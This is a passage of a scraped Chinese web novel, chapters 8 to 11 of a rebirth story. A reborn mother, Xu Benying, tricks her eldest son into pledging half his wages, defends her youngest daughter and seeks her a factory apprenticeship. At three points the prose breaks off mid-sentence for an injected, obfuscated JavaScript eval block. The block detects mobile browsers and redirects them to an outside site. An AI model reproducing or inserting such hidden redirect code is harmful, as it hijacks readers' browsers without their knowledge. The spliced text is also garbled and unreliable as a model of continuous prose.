老大依旧一脸的笑，他也不在乎弟弟妹妹对他的想法了，直接豁出去道：“妈，你咋没有，你不是还有对儿翡翠镯子吗？” “我的镯子？老大，那可是留给你二妹的！”徐本英也笑了，但她是被气笑的，她还真是猜对了，这两人的厚颜无耻果然没有让她失望。 “二妹在乡下都嫁人了，她还要这干啥？但我和青青就不一样了，我们可以拿来换个大点的房子。” 方老大知道他妈根本不在乎两个妹妹，要是真在乎，当初也不会让学习最好且最有前途的二妹下乡了。 而且她这个妹妹这几年在乡下吃了很多苦，不仅身体上要遭受劳作之苦，在精神上还经历了丧夫这种严重的打击，但他妈却从来没说要管过，那镯子自然也不会再给她了。 “老大，你脑子没事儿吧？”徐本英气的都演不下去了，以前咋没发现她这儿子这么自私。 “妈，你咋突然这样说我啊？”方老大有些不解。 “老大，你没结婚之前，我们可是全家人一起挤在这老方家，你现在一家三口住的可是两居室，你跟我说想换大房子了？妈不就以为你脑子出问题了？！” “就是，家里还有我和虎子呢，我们两个人现在都还挤在一间房呢，你一个人就想把东□□吞，去住大房子了？”方老三也跟着他妈后面吐槽，最后说完还不忘又补了一句，“就你这样的，还好意思一直说自己是老大？” 8. 第八章 方老大突然被两人说的脸红了，连忙尴尬地解释：“三弟，你大嫂肚子里的孩子明年就要出生了，往后我和你大嫂的家就是四口之家了，你现在还没成家，你不懂大哥的难处，大哥不怪你。再者就是哥是家里的老大，以后还是要主动承担起照顾爸妈的责任得，我现在想换大房子，不是也方便以后接二老过来住嘛！” 方老三呸了一声，骂道：“你说这种话你自己信吗？真虚伪！” 徐本英也差点呵呵出声，照顾个球，老娘死了你都没来看一眼。 不过她忍住了，因为她等的就是老大的这句话，她得赶紧接住这波天降的富贵，不能让前面的戏都白演了。 “照顾我和你爸？老大，这可是你自己说的？” “那当然！”老大以为他妈这是松口了，想都没想，立马回答。 徐本应看着一旁的大儿媳，脸早就气歪了，她在心里偷笑了一下，这才哪儿到哪儿啊就受不住了？ “妈孩子多，肯定不会让你一个人照顾的，不过你也说了你是家里的老大，自然是要付出的多些，不然这样吧，妈也不要多，你只要以后每个月工资一半交给我和你爸，妈就知足了。” “什么？！”方家大儿媳听了这个果然坐不住了，喊了一声。 方老大连忙给她使了个眼色，让她别说话。 “行，妈。”方老大还是一口答应，他想的是先把玉镯拿到手再说，上交工资这事儿时间久了说不定他妈以后就忘了。 “空口无凭，老四，你去拿纸和笔。” 从进门儿就一直守在门口的方楠听见她妈的使唤，立马跑腿去拿。 “不用这样吧！”老大有些汗颜，他妈啥时候这么认真了。 “老大，只要你写，把手镯给你的事儿我就考虑。”徐本英诱惑道。 “妈。”老三个不识趣儿的，也连忙凑了上来，讨好道：“你把手镯给我，我也能上交一半工资的。” “滚一边去，就你那点钱有个屁用。” 徐本英满脸的嫌弃，可不能让这二货坏了她的好事。 老三气的歪了嘴，但他妈说不给他，他也没办法，只能在一旁生着闷气。 很快，方老大就按照他妈的话写好了保证书，并且两人顺利按了章。 徐本英拿着保证书，检查了一遍发现没问题后，便开始打发人了。 “好了，老大，你走吧，往后每个月领了工资，记得把钱给我送来就行了。” “妈，您东西还没给我呢？”方老大以为他妈是忘记了，赶紧提醒道。 谁知他妈却朝他轻嘲一笑：“东西？给你什么东西？” 方老大听了他妈的话，瞬间愣在原地，他妈这是要演哪出啊？ 他强撑起嘴角的笑意，“您刚不是亲口说的，只要我写保证书，就考虑......” 方老大的话还没说完，浑身一颤，他妈刚刚说的是考虑...... 难道？他妈是故意这样说的？ 他这是被他妈算计了？ 不可能！这绝对不可能！ 方老大正破防呢，他妈就开口又给了他当头一棒，“你都说了，我刚说的是考虑，我已经考虑过了，答案是不能给你。” “妈，你咋能......”方老大喉头堵得很，有些说不出话了，他妈以前最看重的就是他这个儿子，现如今，怎么会这样对他？ “好啊，你个死老太婆，你算计我们！赶紧把保证书还给我们。”陆青觉得她被方家人耍的团团转，指着老婆子的鼻子就开口大骂。 徐本应才不惯着，叉着腰，也骂了回去，“我要算计也是算计得我儿子，你是谁啊，狗叫什么。” “你......”方家大儿媳气的语结，只能上前去抢，她现在可是孕妇，她就不信这老太太敢跟她动手。 谁知方楠却挡在了她妈的前面，拦住了她，“嫂子，你别这样，有啥话我们好好说。” 陆青才不管她，依旧嘴里骂着：“你个老不死的，我咒你下地狱，我......” 陆青的话还没说完，就被一记响亮的耳光打断。 所有人都被这一巴掌吓住了，全场瞬间哑然。 特别是方老头儿，他揉了揉自己的眼睛，有些不敢相信，他刚刚竟然看见老四打人了？ 被打的陆青也是一脸的不可置信，她死死地盯着眼前的小姑子，她觉得这一家子都疯了，随便谁都敢打她了。 “嫂......嫂子，我不是故意的，你不能那样骂妈。”方楠白着脸，立马解释。 方老大这个时候也站出来训斥妹妹，“老四，你干啥呢，你咋能对你嫂子动手。” “哥，妈对你们已经够好的了，你都不知道，她前两天给你们洗衣服还摔倒了。” “还有这事儿？”老大虽然脸色难看，但也不好说什么了。 “嘿你个死丫头片子，你敢打我？看我今天不打死你我就不信陆！” 陆青揪住方楠的衣服，爪子就要往她的脸上抓，很快，另外一边脸又被打了一巴掌，这一巴掌可比刚才小姑子的重多了，是她的婆婆打的。 陆青被连续打了两巴掌以后，她现在手上要是有把刀，恨不得把他们都杀了，她张牙舞爪了起来，“太欺负人了，我要跟你们拼了。” “妈，你咋也打人了，有话好好说啊！”老大看到发疯的媳妇儿，一把抱住了她。 他现在是最难受的那个人，发生这种情况，被夹在中间，拦也不是，不拦也不是。 他现在十分后悔晚上来了方家，不仅手镯没拿到手，赔了未来的一半工资进去，还惹出这么多事儿...... 突然，一直坐着没说话的方老头儿发怒了，他拍了拍桌子，厉声呵斥道：“老大媳妇儿，你差不多得了，别闹的太过分了。” 陆青现在引以为傲的工作多亏了方老头儿，所以她对这位公公向来是有些畏怯的。 更何况她这个公公鲜少动怒，这次却语气很重，她有些发怵，不得不冷静了下来，但心里憋着的那口气出不去，她难受的要命，索性直接一屁股坐在了地上，开始嚎啕大哭：“好啊，你们一大家子都欺负我，还说我过分，这孩子我不要了，反正生出来了也是被你们欺负。” 徐本英才不管她要不要生，冷声道：“你自己肚子里的孩子，你爱要不要，老大，还不快把她给我领走，别在这儿烦我。” 老大听了这话心里也不高兴，自己媳妇儿都说孩子不要了这种话了，他妈还这样冷言冷语，他看他妈就是偏心，想要把家里的东西日后都留给老三。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129789|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爸妈，说个你们不爱听的，二妹回不来了，我是家里的老大，你们要是想把东西都给老三，那才叫过分。” “谁说你二妹她不回来了。”徐本英语气更冷了。 “她在乡下婚都结了，男人也死了，难不成你还让她回来啊！”老大被逼的这会儿也直接口不择言了。 “老大，你给我闭嘴，”徐本英生气的把桌子一拍，斩钉截铁道：“方茹是我的女儿，总有一天我会接她回来的，轮不到你在这儿说。” -- 方老大小两口离开方家以后，徐本应来到了方楠的小屋。 这屋很小，是当初从她和老头儿的房间打出来的一间隔层，只放得下一张小床和一张桌子，母女两还是第一次一起坐在这张床上。 方楠看她妈手上拿着药酒，有点受宠若惊，“妈，我真没事儿，大嫂没弄疼我，而且我皮实。” “胡说，哪儿有女孩子说自己结实的。”徐本英打开药水仔细的给方楠的脖子伤口处上药。 那儿有一处很深的口子，不上药怕是夏天会发炎留疤，那大儿媳下手也太重了，要不是后来她拦着，指不定老四后面会破相。 徐本英语气严肃，方楠有些自责，今晚要不是她，可能不会闹成那样的收场，她也不知道自己当时是怎么了，听见大嫂骂妈，她就冲上去打人了。 从小到大，这还是她第一次打人...... 突然，屋子安静了下来，徐本英知道她这女儿是又在胡思乱想了，便主动打破道：“咋不说话了。” “妈，你......没生气吧！”方楠有些不敢看她妈了。 “当然生气。”徐本英肯定道，手上的动作依旧小心翼翼。 方楠听到这个回答，有些慌乱，立马解释道：“妈，我当时......我保证以后再也不胡乱打人了。” “谁说我生这个气，而且你那咋就叫胡乱打人了？” 方楠本能地‘啊’了一声，表示疑惑，而后又问：“那您不是生气我打了大嫂？” “她该打，我生你气干啥。”徐本英终于把伤口都抹上了药，她仔细端详着还有没有那里遗漏的地方，却看到了女儿一张忧愁的脸，怕傻女仍旧多想，无奈又补了一句：“我是气你以后有啥别都自己冲到前面，你还有妈呢。” 听到这个，方楠首先的反应是有些懵，其次是高兴，原来妈晚上没讨厌她，而是在心疼她。 她甚至觉得脸上的不再是伤口，而是她胜利的标记。 但高兴之余，她又想到了她妈晚上最后说的那句话，是有关二姐的，妈说要接二姐回来，是真的还是假的？她真的好想问问！ “你有啥想问的就直接问吧!”徐本英看出了女儿想跟她说什么，便直接引导她说出来，正好她一会儿也想趁机问问老四对自己以后有什么打算。 “妈，你晚上说，要接二姐回来的事儿是真的？”方楠一边小心翼翼地问，一边细心观察她妈脸上的表情。 “当然是真的，她是我女儿，我咋能让她一个人留在外乡。”徐本英想都没想，直接回答。 “可她那婆婆，能答应吗？” 方楠担心地问，二姐好几次寄信回来，虎子有给她读过，她听的出来，二姐的婆婆对她并不好，不会这么轻易放她走的。 9. 第九章 经过女儿的提醒，徐本英这才想起来，老二的那个婆婆也不是个什么好东西，当初老二嫁给她儿子以后，还没多久她儿子就发生了意外死了，她却把所有的责任归咎于老二，说老二是个扫把星，一进门就克死了她的儿子，十里八乡的乡亲听她这么说，也跟着一起说，害得她家老二在乡下吃尽了苦头。 徐本英推算了下时间，老二大概再熬不过一年的时间就会投河自尽，时间紧迫，她得赶紧在城里把老四的事儿安排好了，就立马下乡去接老二回来，此事儿尽早不宜迟，万一出了什么岔子，又造成了上辈子那样的悲剧，她又得后悔半辈子。 “那太好了，二姐有学问，还下过乡，回城里一定可以找个好工作的。”方楠高兴的不得了，她已经有好久没见过二姐了，心里十分的挂念。 “老四，先不管你二姐的事儿，妈问你，你有想过自己以后要干啥吗？”徐本英话锋一转，把话题带到了老四的头上。 “我？”方楠闪着她的一对大眼睛，眼神里透露出来的都是天真。 “对。”徐本英先是肯定，而后才解释：“难道你想在家里被大家一直使唤到你出嫁？然后将来到了夫家，再继续被他们一家使唤？这辈子都听别人的使唤？” 方楠仔细想了想，的确不太愿意，她连忙摇了摇头表示自己的想法。 要是有机会，她希望自己能像眼前的妈妈一样，能够通过自己的双手去劳动，去挣钱。 徐本英对女儿点了点头，眉目带笑道：“那妈现在就给你指两条路，二选一，你看你想走那条路。一是现在高考已经恢复有好几年了，很多女孩子也通过高考考上了大学，如果你喜欢读书，你也可以像她们一样去高考，去读个大学，只要你考得上，妈就供得起。” 方楠听了读书两个字就有点微微头疼，她知道自己不是这块料，读了也是白白浪费功夫，她面露难色，问她妈：“那第二条路呢？是什么？” “二是妈给你在家附近谋划个工作，让你自己拿工资，以后不管是在娘家还是婆家，你自己手上有了钱，也就有了底气，不用看任何人的眼色。” “工作？”方楠听到这两个字瞬间眼睛一亮，还来不及高兴，就立马回复她妈道：“妈，我想工作，我想像你一样有一份自己的工作。” “那你要想好了！”徐本英再次确认女儿的想法。 “是的，我要工作，读书出来还不是要找工作，索性还不如直接工作。” 徐本英也没打算劝女儿再好好想想，虽然往后的几十年，人要多读书才能有更多选择的机会，但这个老四小的时候基本没读过啥书，是几个孩子里基础最差的了，这要真想走考大学这条路，她才该头疼了。 “行，那妈知道你的想法了，我这两天就好好地给你打听一下。” “妈，你咋突然对我的事儿这么上心？”方楠抿着嘴，害羞地问，她妈可从来没有关心过这些，小时候看她不爱读书，也是直接就不让她读了，说女孩子读那么多书反正也是浪费，咋现在都开始给她谋划未来了？ “废话，我是你妈，我不管你谁管你。”徐本英宠溺地刮了下女儿的鼻子，语气虽然严厉，但动作却格外的温柔。 “可妈，我不识字，我也不知道我能干啥。”方楠主动地拉住她妈妈的手，学着她三哥的样子，别扭地撒着娇，这还是她第一次撒娇呢，总感觉有哪里怪怪的。 徐本应看出女儿的小心思，直接把女儿揽到怀里，打破她的尴尬，“没事儿，只要你想学，我让你爸教你。” “真的？”方楠有点激动，脸上洋溢着少女独有的笑容。 徐本英‘嗯’了一声后，肯定道：“当然是真的。” 方楠得到了满意的答案后，继续依偎在妈妈的怀里，尽情享受这迟来的母爱，声音也跟着激动的心情而颤抖，“妈，你对我真好。” 可在徐本应听来，却觉得女儿的声音甜丝丝的，甚至甜到她心底里去了，连带着她说话，声音也软了几分，“楠楠可真是妈妈的乖女，妈以后会对你更好的。” 方楠又欣喜又激动，像是一个从来没有吃过蜜糖的小孩子第一次尝到了蜂蜜一般，她紧紧抱住自己的妈妈，“妈，我咋觉得你变了。” “咋了，变了不好吗？”徐本应打趣女儿道。 “好，就是觉得太不真实了，怕是梦，梦醒了就没了。”说完话，方楠把妈妈又抱紧了几分。 徐本应被女儿的可爱的动作逗笑，“傻女，以后慢慢习惯了就好了。” 本属于母女俩独有的温情时刻，却突然被隔壁的一道杀猪声打破，不用想，就知道是方老三那货的声音。 “疼死我了！” “我英俊潇洒的帅脸被毁了，我还怎么去见我的小美啊！” “......” 方楠这才想起来三哥晚上伤的可比她重，“妈，你确定我们不用给三哥也上一下药吗？” “管那个皮猴子干啥？他还能真让自己毁容了？那他的小美可就更看不上他了！” 说完这话，母女两一起在小屋里偷着笑，继续说着体己话。 徐本英只是短暂的休息了两天，就回到厂里上班了，她们这种在厂里一线生产的女工都是三班倒，可以说是每天顶着月亮上班，伴着星星下班。 她今天被排的是早班，一大早五点多就出了门，急匆匆地赶时间，也没功夫坐在家里好好吃口早饭，便直接在路边买了豆浆和油条填填肚子，怕蛋白质补充不够，她还给自己多买了一个鸡蛋来搭配。 要是搁以前她是舍不得给自己多花这三毛钱的，总觉得应该把钱都给几个儿子攒着，但她经历了上辈子那些，才知晓，对谁好都不如对自己好。 她干的是厂里的挡车工工作，那是纺织厂的核心岗位，要做的事儿有很多，最主要的就是负责巡视机台、更换纱管以及处理纱线的断头。一个班次有八小时，除了有半小时的吃饭时间，其余时间都要不停的工作，有时候在织机间不断的走动，走一天下来至少要走上10多公里。 不过好在她上辈子干习惯了，每一步操作早已深深地刻在了骨子里，上手起来倒也没吃力，再加上身体又是能干活的年纪，体力也跟得上，一个班次上下来，除了走路脚有些站不住，其他的都还好。 下午两点徐本英准时结束了一天的工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129790|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作，想着时间还早，正好去问问生产科的李科长厂里最近招实习生的事儿。既然已经知道了老四心里头的想法，那么她这个当妈的也要为女儿努力争取才是。 她敲了门儿进去，李爱霞一看见是她，眼里露出欣喜的表情，“诶，徐姐，我正要去车间找你呢，你就来了。” 徐本英是厂里的第一批女工，算是厂里的老人了，资历深，再加上她和李爱霞算是老乡，所以这么多年来李爱霞在私下一直都喊她徐姐。 她听到李爱霞说也要找她，疑惑了两秒，随后便问：“科长，你也找我有事儿？” “是啊，我们都听说了你在家里晕倒的事儿，咋样儿，今天上班感觉还行吧？”李爱霞是个大约四十来岁的矮胖女人，长得憨厚，带着一副眼镜，笑起来眼睛眯成一条缝，看起来是很有福气的面相。 “还行，干这么多年都干习惯了。” “我这次找你是要跟你说件好事儿。” “嗯，你说。” “厂子里的确任务重，你们这些奋斗在一线的女工每天三班倒，回家难免会休息不好，之前领导们也考虑过厂子里会有部分老同志跟不上，私下讨论过，决定让四十八岁以上的女工人和五十岁以上的男工人不再上晚班了，只用上上午的早班和下午的午班，这几天，名单就要出来了。” 徐本英笑着回应：“是嘛，那是个好事儿啊！”徐本英表现得没那么激动，因为她才四十六，还没到四十八，这事儿跟她关系不大，但她也是真高兴，毕竟厂子里为老同志谋福利，本身就是一件好事儿。 不过这件事儿既然跟她关系不大，找她干啥？ 除非这名单里也有她？ 很快李爱霞下面的话就解答了她心中的疑问。 “徐姐，虽然你还没到四十八，还差了两岁，但却是咱们纺织二厂里最老的一批工人，进厂也足足有三十年了，生产工作期间也一直勤勤恳恳，从不出错，所以领导们一致决定这政策啊对你放宽，把你也加在了名单上。” 听了这话，徐本英这回是真的激动了，“那感情好啊，李科长，你替我谢谢领导们。” 两人是老乡，自然很容易有共同话题，闲扯了两句后，李爱霞像是想起来什么事儿，问她：“徐姐，我都忘了，你刚进门是不是也有事儿要找我？” 徐本英点了点头，“李科长，我记得咱们二厂每年这个时候都会招一批实习生进厂学习。” “是啊，每年你手底下还会分几个呢。” 都已经说出口了，也没有回头箭了，徐本英借着两人的交情，直接把自己的需求说了出来，“爱霞，是这样的，我想给我家老四方楠也争取一下这次实习的机会，每年这事儿厂里都是交给你负责的，所以我就豁出这张老脸找到你这儿来了。” “徐姐，你这是说的那儿的话，咱两认识这么多年了。” 不过提起方楠这个名字，李爱霞脑子里立马浮现了一张漂亮的小脸儿，徐本英的几个孩子她都见过，但那个孩子长得最讨人喜。 “方楠这孩子我有印象，是不是那个长得特别水灵的小女儿？那几个孩子啊，就她长得最像你了。” 10. 第十章 被人夸女儿漂亮，长得还是像她，徐本英当然高兴。 但高兴之余，正事儿要紧，便开门见山道：“是她，我就想问问我们厂里对待老职工的子女有没有相关的政策，我想让她也能有机会进厂学习，但是我也要和你说实话，她并不是这届纺织专业的毕业生。” 说到这儿，李爱霞脸上笑容消失了一半，脸上的表情也严肃了几分，“徐姐，你应该也听说了，现在上面要求所有的厂都必须大批接收回城知青以及退伍军人，这几年厂里留给老职工子弟的名额是越来越少了，你家老四还不是这个专业的，你要想她能进厂，那怕是没那么容易了。” “是，你说的我都了解，但我还是想为孩子争取下试试，我记得咱们厂里有个政策，说凡是家里子女多的，且工作少的，就可以考虑收到厂里，现在这种情况，我也不求厂里能给她一个正式工干，就给孩子一个学习的机会就行，日后我要是退休了，她也能顺利地接我的班，不会占用厂里的名额的。” “是嘛？”李爱霞还是头一次听说这个政策的，她连忙从抽屉里拿出小本本，翻了起来，“徐姐，你先别急，我翻下手册看看。” “在307页。”徐本英对着翻手册的李爱霞提示道。 很快，李爱霞就翻开了那一页，找到了这个政策，“还真是诶，徐姐，不愧是你，三十年的老员工了，厂里的政策知道的比我这个科长都清楚。” 徐本英汗颜，她那儿是记得，她这是为了争取机会，提前做好了功课才来的，但这种事儿她又不好解释什么，便心虚地应了下来，“那，李科长，你看我家老四，她到底有没有机会呢......” 李爱霞眼眸又弯成月牙，爽快道：“徐姐，既然厂里有相关的政策，那我回头拿去问问管人事的副厂长，看看他咋说，到时候我再回复你。” 李爱霞竟然说了这话，就说明她愿意帮忙，徐本英对此心里十分感激，也连忙笑着回应：“行，李科长，那实在是太感谢你了。” 回家路上，徐本英还在念着李爱霞的好，她多多少少了解这个老乡，那是个憨厚的主儿，心里敞亮，爱有话直说，不然她也不敢把提前做的功课就那样直截了当的当着她这个科长面儿说了出来，那放在别人身上，是要生气的。 走到巷子口，徐本英还没到家，就在门外看见老三和一个小姑娘在那儿腻腻歪歪，她猜这应该就是老三口中的小美了？ 上辈子小美一直把老三当备胎，后来找到了下家，很快就跟别人跑了，所以她并未见过她的真容。 今天倒是凑巧，能在这位姑娘还没找到下家前就瞅见她真人了，徐本英草草地扫了一眼，那姑娘看起来穿的倒是蛮时髦的，人也白净，但咋做出来的事儿那么不漂亮呢。 反正老三自己愿意当备胎，他就好好当，她才不管呢，管多了，到时候自己死了都没人管。 有那闲功夫，她不如回去好好补一觉，早上出门太早，她现在困的要命。 回到屋，也不知睡了有多久，反正醒来的时候，徐本英发现外面的天已经漆黑了，外面时不时还飘过来一阵饭香，引的她肚子里的馋虫直叫唤。 她想这准是老四晚上又给大家做好吃的了。 果不其然，一出屋子，她就看见吃饭的餐桌上已经摆了两盘炒好的菜。 一个是干煸豆角，还有一个是西红柿炒蛋，这两样都是她爱吃的。 紧接着，她洗手的功夫，老五房间走出来两个人，方家年龄最老的方老头儿和年龄最小的虎子，两人也打算排在她的后面洗手。 看见她，虎子简单喊了声妈就不说话了，老头儿则笑嘻嘻地跟她打趣儿：“老婆子，你这是被老四的饭给香醒了吧。” “是啊，都饿死了。”徐本英刚看他是从老三老五的屋子出来的，便多问了一句：“你咋从他们屋子里出来。” “你睡眠浅，我怕打算盘的声音大，影响了你休息，正好老三又不在，我就去他们屋子了。” 徐本英对老头子的体贴举动感到十分暖心，想到他上辈子其实也是对她如此，但她的心思却都在孩子上，从未对他有过感激，眼下要不是虎子还在他俩跟前，她真想对他说声谢谢。 但孩子在，她只好转移了话题。 “老四呢，咋没看见她人。” 老头子在心里默默吐槽：我明明说的是老三不在，老婆子却张口就问老四，“她指定在厨房里，我叫一声，她应该能听见。” 方楠此刻正在灶上盛红枣花生粥，红枣是个好东西，吃了益气又补血，这是她专门给妈妈熬制的，下午用小火炖了好几个小时呢。 听见她爸叫她，她立马应了一声，便加快了手上盛粥的速度，出来后，一眼就看见了她妈，嘴角不自觉地上扬了起来，“妈，你醒啦？我还正准备去叫你的呢。” 徐本英简单地嗯了一声，心里想的是这粥可真香啊，啥时候能开饭啊，她就是被饿醒的呀。 “妈，爸，还有虎子，还差一个菜，你们先吃，我很快就做完出来。” “不用做那么多了，大晚上的，这两个菜够咱四个人吃了，不是还有咸菜吗，让虎子去拿，正好能拿来喝粥。”徐本英直接起身拉住了老四，让她坐下。 这天儿热得很，做菜能把人热死，她看见老四一额头的汗就觉得心疼。 而虎子从厨房把咸菜拿出来的时候，有点愣住，因为他看见他姐和他妈坐在一起有说有笑，这场面以前他哪儿见过啊。 “乖女，你这粥熬得真好，虽然甜，但不腻，里面的花生也吃起来糯糯的，入口即化，这做的比外面卖的甜点都要好喝。”这粥是刚盛出来的，还有点烫嘴，徐本英只能慢慢的喝，不然她早就一嘴喝光了。 “妈，你爱喝，我就经常给你做。” 方小虎看见他姐又笑了，说来奇怪得很，他四姐以前是不爱笑的，但这几天脸上的笑是越来越多了，难道都是他妈的功劳？ 虎子不经意地瞟了他妈一眼，她怎么看起来没有以前那么讨人厌了？ “妈，咱真的不用管三哥吗？他晚上回来会不会饿肚子啊。”方楠问她妈道。 “不用管他，他在外面给别人当舔狗呢，咱们用不着管他。” “那好吧。”方楠似懂非懂地点了点头，虽然她没听懂她妈说的是什么，但是她知道她妈说的一定都是对的。 方小虎年纪小，好奇心旺盛，他实在是好奇他妈嘴里的那个新词，便没忍住问了出来，“妈，啥是舔狗啊” 徐本英吃的正香呢，霎时停住，不好，说漏嘴了，他们这个时候还没有‘舔狗’这个词呢，那是她上辈子在电视剧里学来的，不过好在眼前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16129791|180237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是自家人，好糊弄。 她脑子迅速转了几秒，便随便解释了一下：“有家不回，非得去舔外人的狗就叫舔狗。” 这话一说完，一桌上的人都笑了。 几个人在小院，伴着夏天微凉的风，很快就吃完了晚上的这顿饭。 收碗筷的功夫，老三从巷子疙瘩里闪现了出来，满脸带笑，笑得很不正经。他看见一家人已经吃完饭了，已经吃过饭的他非要嘴贱的来一句：“哟，不够意思啊，吃饭都不等我，这一顿我可不给伙食费啊。” “谁知道你这舔狗啥时候回来，等你做啥。”徐本英毫不留情的怼了他一句。 “啥是舔狗？”方老三收起脸上的坏笑，愣了愣。 “妈说舔狗就是有家不回，非得去舔外人的狗就叫舔狗。”小虎故意一本正经的解释，其实心里憋着坏，借他妈的威风在骂他哥。 小虎刚解释完，大家又默契地一齐笑出声，老三见此，脸上有些挂不住，‘嘿’的一声就出手，用胳膊一把夹住自己弟弟的脑袋不放，“老五，我还是不是你哥了，你从哪儿学来的这种骂人的话来骂你哥。” “是妈说的，不是我学的。”方小虎偷着乐道。 谁知老三听到是他妈说的，态度立马一百八十度大转弯，“妈说行，妈说我啥都行。” 说着话的功夫，他还顺势把给他妈按摩肩膀的老四给挤走了，“妈，我给你按按呗？也给我个机会表现表现！” 老三的厚脸皮大家已经是见怪不怪了，每次有事儿求他妈的时候就是这副样子，方老头儿坐在一旁喝茶等着看好戏，老五也全程憋着笑，手上收拾碗筷的速度也越来越快，今晚的碗是他洗，他得赶紧把这些抱去厨房，洗好了能早点出来，他也想看他哥要做啥。 徐本英让老四坐在她的一旁歇着，换老三来给她按，“行，你来按吧，让你妹歇会儿。” 她倒要看看这无事献殷勤的老三葫芦里卖的是什么药。 但她才不问，她就要等老三主动说，反正急的也不是她。 果然，没按几下，老三就□□里兜不住屎了。 “妈，听说你们厂最近要招一批实习生？” 呵，徐本英冷酷地笑了一声。 原来是这事儿...... 她如果没记错的话，老三喜欢的那个小美，她的妹妹上辈子也在今年的这批实习生里，但是她和这姑娘缘浅，上辈子并没有分到她的手底下学习，所以两个人也没打过什么交道。 “咋了？”徐本英装作什么也不知道。 “那个小美，就经常和我约会的那姑娘，也是你未来的儿媳妇，她的妹妹小丽就在这批实习生里面。”方老三笑嘻嘻道。 “所以呢？” “所以，妈，你到时候可得帮我好好照顾她！” “你放心，只要是分到我这儿的姑娘，我都对她好，用不着是帮你。” “妈，你就不能直接让小美的妹妹去你的小组实习吗？”方老三手上给他妈捏背的动作一下比一下认真，他无比期待他妈这次能帮他。 “......”徐本英要不是此时背对着她这傻儿子，她早就一拳打爆了他的头，“你真当纺织厂是你妈开的呢，还我直接让小美的妹妹去我那儿，你这是晚上喝了几斤假酒，都开始认不清自己是谁了是吧。” 11. 第十一章 听到小美交给他的任务完不成，老三的脸当时就垮下来一半，但他还是耐着性子哄着他妈，毕竟他在小美的面前话都放出去了。 要是做不到，那不是太没面儿了。 就算不能亲自带，那让他妈在私底下多带带小美的妹妹，他妈总该答应了吧！ “妈，反正你是老职工了，小美的妹妹到时候要是真有什么不会的，你就私下里多帮帮她。” 徐本英哼了一声，“你不操心自己妹妹，反倒操心起别人妹妹了，可真是咸吃萝卜淡操心。” “妈，小美的妹妹咋就是别人了，以后那也是要和咱们成为一家人的。” 说完老三总觉得他妈刚那话的重点不是这个，愣了两秒，又问：“不过，妈你刚说那话啥意思，啥叫不操心我自己的妹妹？我好端端地操心老四干啥？” 徐本英暂时没接老三的话，她现在还不能直接说她想让老四也去纺织厂学习的事儿。 万一厂子那边的政策不能放宽，去不了，那就太下孩子的面子了。 老四这孩子本身就不够自信，还是等事情稳妥了再说吧。 “你别忘了你妹还没工作。” “她要工作干啥，在家不是挺好的。” 老三说这话的时候还特意望了他妹一眼，好端端的妈扯她干啥。 还有妈咋最近对她态度一百八十度大转弯，对她比对自己都好。 她到底给妈灌了什么迷汤药了？ “你妹今年也有19了，她那大的姑娘了，整天就在家伺候我们？她就不能出去挣了钱也买点自己喜欢的东西？”徐本英没好气道。 “我不是交的有伙食费吗，大不了把那个钱给她呗，买别的不成，买两件衣服还是能买的呀。” 老三这会儿捏背有一下没一下的，显然没开始那么认真了。 “咋啦？以后她结婚了你还给？”徐本英故意问道。 “那凭啥？”老三声音突然变大，满脸写着不情愿。 “所以啊，我决定也给你妹她找个工作，那才是伴随我们女人一生的底气。你也是当哥的，要是有好的路子，也要给她多打听才是。” 听了这个，老三结舌，他妈既然要给他妹找工作？ 她不是一直觉得嫁出去的女儿等于泼出去的水吗？ 咋突然观念改变了？ 难道她打算这水她一辈子不泼了？ 虽然震惊，但也没有刚才情绪那么激动了，毕竟这跟他的利益关系不大。 “那咋不行，只要妈你别把你的工作给老四，我就没意见。” 他妈那工作将来是要给小美的妹妹留着的，小美家里就两个女儿，那是她唯一的妹妹，所以要想搞定小美，这事儿必须成。 要是搁以前他倒不是很担心，毕竟他妈最偏爱的就是他，要啥给啥。 但这几天吧，他突然不敢打这个包票了。 所以刚刚那句话他也是故意说的，他想试探试探他妈的态度。 “咋啦，老三，你还算计起老娘的工作了？”徐本英觉得又气又好笑，她这儿子算计老娘的工作，却不知自己才是被别人算计的那一个。 上辈子就因为她把镯子给了老大家，老三就天天找她闹，她迫不得已答应他，等小美的妹妹实习结束后就把自己的工作给她妹妹，好让两个人有个结果。 谁知那小美还没等她妹妹实习完，就跟别人跑了，这样一来，徐本英的工作倒是不用给她妹妹了，但还是被老三记了一笔。 一直到最后，徐本英退休，把所有的退休补贴都给了老三，他才罢休了此事...... “妈，我实话告诉你吧，小美跟我说了，只要能让她妹顺利进你们厂，她就能跟我处对象。” 